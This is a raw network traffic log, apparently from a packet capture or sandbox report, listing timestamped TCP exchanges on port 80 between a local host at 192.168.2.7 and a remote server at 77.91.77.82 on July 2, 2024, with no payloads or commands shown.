Jul 2, 2024 12:24:01.420984983 CEST	80	55396	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:01.421001911 CEST	55395	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:01.421061039 CEST	55396	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:01.421643972 CEST	55396	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:01.426403999 CEST	80	55396	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:02.154273987 CEST	80	55396	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:02.156847000 CEST	55396	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:02.160640001 CEST	55396	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:02.160960913 CEST	55397	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:02.165687084 CEST	80	55396	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:02.165788889 CEST	80	55397	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:02.165906906 CEST	55397	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:02.165911913 CEST	55396	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:02.166198015 CEST	55397	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:02.171000957 CEST	80	55397	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:02.892215014 CEST	80	55397	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:02.892277002 CEST	55397	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:03.007920027 CEST	55397	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:03.008414030 CEST	55398	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:03.015019894 CEST	80	55398	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:03.015086889 CEST	55398	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:03.015360117 CEST	55398	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:03.015362024 CEST	80	55397	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:03.015408993 CEST	55397	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:03.020152092 CEST	80	55398	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:03.702456951 CEST	80	55398	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:03.702543020 CEST	55398	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:03.706207991 CEST	55398	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:03.706742048 CEST	55399	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:03.711292028 CEST	80	55398	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:03.711366892 CEST	55398	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:03.711524963 CEST	80	55399	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:03.711601973 CEST	55399	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:03.711855888 CEST	55399	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:03.717019081 CEST	80	55399	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:04.406394958 CEST	80	55399	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:04.406594992 CEST	55399	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:04.522629023 CEST	55399	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:04.523358107 CEST	55400	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:04.528170109 CEST	80	55399	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:04.528305054 CEST	80	55400	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:04.528465986 CEST	55400	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:04.528465986 CEST	55399	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:04.528764963 CEST	55400	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:04.533518076 CEST	80	55400	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:05.231764078 CEST	80	55400	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:05.231825113 CEST	55400	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:05.235840082 CEST	55400	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:05.236191988 CEST	55401	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:05.242697001 CEST	80	55401	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:05.242762089 CEST	55401	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:05.243045092 CEST	55401	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:05.249708891 CEST	80	55400	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:05.249754906 CEST	55400	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:05.249826908 CEST	80	55401	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:05.957186937 CEST	80	55401	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:05.960872889 CEST	55401	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:06.069045067 CEST	55401	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:06.072782993 CEST	55402	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:06.074847937 CEST	80	55401	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:06.076878071 CEST	55401	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:06.077615976 CEST	80	55402	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:06.077744007 CEST	55402	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:06.078042984 CEST	55402	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:06.083030939 CEST	80	55402	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:06.941112041 CEST	80	55402	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:06.941190004 CEST	55402	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:06.947462082 CEST	55402	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:06.947786093 CEST	55403	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:06.953640938 CEST	80	55402	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:06.953675032 CEST	80	55403	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:06.953696966 CEST	55402	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:06.953752041 CEST	55403	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:06.954155922 CEST	55403	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:06.959189892 CEST	80	55403	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:07.671005964 CEST	80	55403	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:07.671066046 CEST	55403	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:07.787625074 CEST	55403	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:07.788033009 CEST	55404	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:07.792881966 CEST	80	55404	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:07.792956114 CEST	55404	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:07.792973042 CEST	80	55403	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:07.793026924 CEST	55403	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:07.793313980 CEST	55404	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:07.798041105 CEST	80	55404	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:08.482095003 CEST	80	55404	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:08.487260103 CEST	55404	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:08.487260103 CEST	55404	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:08.487801075 CEST	55405	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:08.492427111 CEST	80	55404	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:08.492583036 CEST	80	55405	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:08.492625952 CEST	55404	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:08.492732048 CEST	55405	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:08.494793892 CEST	55405	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:08.501058102 CEST	80	55405	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:09.191947937 CEST	80	55405	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:09.192008972 CEST	55405	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:09.306639910 CEST	55405	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:09.307044983 CEST	55406	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:09.311901093 CEST	80	55405	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:09.311983109 CEST	55405	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:09.312005997 CEST	80	55406	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:09.312068939 CEST	55406	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:09.314954042 CEST	55406	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:09.319888115 CEST	80	55406	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:10.031678915 CEST	80	55406	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:10.031776905 CEST	55406	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:10.034595013 CEST	55406	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:10.034598112 CEST	55407	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:10.039419889 CEST	80	55407	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:10.039558887 CEST	55407	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:10.039815903 CEST	80	55406	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:10.039851904 CEST	55407	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:10.039894104 CEST	55406	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:10.044600964 CEST	80	55407	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:10.550803900 CEST	55407	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:10.664796114 CEST	55408	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:10.669626951 CEST	80	55408	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:10.671160936 CEST	55408	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:10.675298929 CEST	55408	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:10.680207968 CEST	80	55408	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:11.375917912 CEST	80	55408	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:11.375998020 CEST	55408	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:11.382415056 CEST	55408	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:11.382858992 CEST	55409	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:11.387697935 CEST	80	55409	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:11.387773991 CEST	55409	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:11.387943029 CEST	55409	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:11.388004065 CEST	80	55408	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:11.388052940 CEST	55408	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:11.393209934 CEST	80	55409	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:12.107681990 CEST	80	55409	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:12.111255884 CEST	55409	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:12.225357056 CEST	55410	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:12.225357056 CEST	55409	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:12.233144045 CEST	80	55410	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:12.233371019 CEST	55410	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:12.233591080 CEST	55410	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:12.233773947 CEST	80	55409	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:12.235375881 CEST	55409	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:12.238307953 CEST	80	55410	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:12.947639942 CEST	80	55410	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:12.947834969 CEST	55410	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:12.951498985 CEST	55410	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:12.951905966 CEST	55411	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:12.956713915 CEST	80	55410	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:12.956722021 CEST	80	55411	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:12.956790924 CEST	55410	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:12.956809998 CEST	55411	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:12.957041025 CEST	55411	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:12.961841106 CEST	80	55411	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:13.656624079 CEST	80	55411	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:13.656683922 CEST	55411	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:13.787692070 CEST	55411	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:13.788026094 CEST	55412	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:13.792779922 CEST	80	55412	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:13.792843103 CEST	80	55411	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:13.792901993 CEST	55411	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:13.792902946 CEST	55412	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:13.794807911 CEST	55412	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:13.799663067 CEST	80	55412	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:14.476854086 CEST	80	55412	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:14.477272034 CEST	55412	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:14.485121965 CEST	55412	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:14.485367060 CEST	55413	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:14.490166903 CEST	80	55413	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:14.490287066 CEST	55413	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:14.490561962 CEST	55413	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:14.490875959 CEST	80	55412	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:14.491014004 CEST	55412	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:14.495537043 CEST	80	55413	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:15.220308065 CEST	80	55413	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:15.220391035 CEST	55413	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:15.336009979 CEST	55413	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:15.336365938 CEST	55414	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:15.341217041 CEST	80	55414	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:15.341242075 CEST	80	55413	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:15.341295958 CEST	55414	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:15.341347933 CEST	55413	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:15.341762066 CEST	55414	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:15.346506119 CEST	80	55414	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:16.037368059 CEST	80	55414	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:16.037503004 CEST	55414	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:16.040822029 CEST	55414	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:16.041235924 CEST	55415	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:16.046206951 CEST	80	55414	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:16.046226978 CEST	80	55415	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:16.046318054 CEST	55414	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:16.046402931 CEST	55415	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:16.047487974 CEST	55415	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:16.052335978 CEST	80	55415	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:16.765031099 CEST	80	55415	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:16.765167952 CEST	55415	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:16.894942045 CEST	55415	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:16.895332098 CEST	55416	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:16.900080919 CEST	80	55416	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:16.900151014 CEST	55416	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:16.900202990 CEST	80	55415	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:16.900254011 CEST	55415	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:16.900732040 CEST	55416	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:16.905503035 CEST	80	55416	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:17.610553980 CEST	80	55416	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:17.610641956 CEST	55416	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:17.615158081 CEST	55416	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:17.615560055 CEST	55417	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:17.620592117 CEST	80	55416	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:17.620610952 CEST	80	55417	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:17.620668888 CEST	55416	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:17.620687008 CEST	55417	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:17.620954990 CEST	55417	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:17.625888109 CEST	80	55417	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:18.603796005 CEST	80	55417	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:18.604368925 CEST	80	55417	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:18.608705044 CEST	55417	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:18.724924088 CEST	55417	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:18.728821993 CEST	55418	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:18.730412960 CEST	80	55417	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:18.732882023 CEST	55417	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:18.733822107 CEST	80	55418	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:18.736905098 CEST	55418	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:18.740797997 CEST	55418	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:18.745628119 CEST	80	55418	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:19.579857111 CEST	80	55418	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:19.579921007 CEST	55418	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:19.582968950 CEST	55418	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:19.583211899 CEST	55419	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:19.588037014 CEST	80	55419	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:19.588159084 CEST	55419	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:19.588474989 CEST	80	55418	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:19.588526964 CEST	55418	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:19.588618040 CEST	55419	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:19.593374968 CEST	80	55419	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:20.293044090 CEST	80	55419	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:20.293155909 CEST	55419	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:20.396764040 CEST	55419	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:20.400859118 CEST	55420	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:20.402189970 CEST	80	55419	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:20.405035019 CEST	55419	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:20.405689955 CEST	80	55420	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:20.408996105 CEST	55420	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:20.412800074 CEST	55420	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:20.417682886 CEST	80	55420	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:21.096702099 CEST	80	55420	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:21.096750021 CEST	55420	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:21.100902081 CEST	55420	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:21.101373911 CEST	55421	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:21.106146097 CEST	80	55420	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:21.106201887 CEST	55420	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:21.106225014 CEST	80	55421	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:21.106292963 CEST	55421	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:21.106494904 CEST	55421	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:21.111192942 CEST	80	55421	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:21.853297949 CEST	80	55421	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:21.853347063 CEST	55421	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:21.959620953 CEST	55422	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:21.959620953 CEST	55421	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:21.965080023 CEST	80	55422	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:21.966101885 CEST	80	55421	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:21.968878031 CEST	55422	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:21.968878031 CEST	55421	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:21.969073057 CEST	55422	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:21.977976084 CEST	80	55422	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:22.697357893 CEST	80	55422	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:22.697511911 CEST	55422	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:22.700217009 CEST	55422	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:22.704845905 CEST	55423	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:22.710824013 CEST	80	55422	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:22.710935116 CEST	55422	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:22.715296030 CEST	80	55423	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:22.715584040 CEST	55423	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:22.718271971 CEST	55423	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:22.723118067 CEST	80	55423	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:23.428977966 CEST	80	55423	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:23.429056883 CEST	55423	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:23.537683010 CEST	55423	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:23.538008928 CEST	55424	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:23.542834997 CEST	80	55424	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:23.542862892 CEST	80	55423	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:23.542907000 CEST	55424	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:23.542929888 CEST	55423	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:23.543082952 CEST	55424	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:23.547816992 CEST	80	55424	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:24.429384947 CEST	80	55424	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:24.429521084 CEST	55424	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:24.434817076 CEST	55425	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:24.434819937 CEST	55424	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:24.440085888 CEST	80	55425	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:24.440277100 CEST	55425	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:24.440308094 CEST	80	55424	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:24.442873955 CEST	55425	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:24.442996025 CEST	55424	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:24.448014021 CEST	80	55425	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:25.168267965 CEST	80	55425	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:25.168324947 CEST	55425	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:25.272855043 CEST	55425	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:25.273271084 CEST	55426	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:25.277889013 CEST	80	55425	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:25.277952909 CEST	55425	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:25.278006077 CEST	80	55426	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:25.278072119 CEST	55426	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:25.278224945 CEST	55426	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:25.282932043 CEST	80	55426	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:26.008294106 CEST	80	55426	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:26.008871078 CEST	55426	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:26.018814087 CEST	55426	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:26.018919945 CEST	55427	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:26.028243065 CEST	80	55427	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:26.028522015 CEST	80	55426	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:26.028959990 CEST	55426	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:26.028996944 CEST	55427	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:26.029094934 CEST	55427	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:26.037554979 CEST	80	55427	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:26.727475882 CEST	80	55427	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:26.732909918 CEST	55427	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:26.851280928 CEST	55428	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:26.851281881 CEST	55427	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:26.856102943 CEST	80	55428	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:26.856326103 CEST	80	55427	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:26.858922958 CEST	55427	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:26.858925104 CEST	55428	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:26.859177113 CEST	55428	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:26.863957882 CEST	80	55428	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:27.595967054 CEST	80	55428	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:27.596076012 CEST	55428	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:27.598745108 CEST	55428	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:27.599040985 CEST	55429	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:27.603729010 CEST	80	55428	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:27.603800058 CEST	55428	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:27.603835106 CEST	80	55429	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:27.603914976 CEST	55429	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:27.604098082 CEST	55429	80	192.168.2.7	77.91.77.82
Jul 2, 2024 12:24:27.608824968 CEST	80	55429	77.91.77.82	192.168.2.7
Jul 2, 2024 12:24:28.339260101 CEST	80	55429	77.91.77.82	192.168.2.7
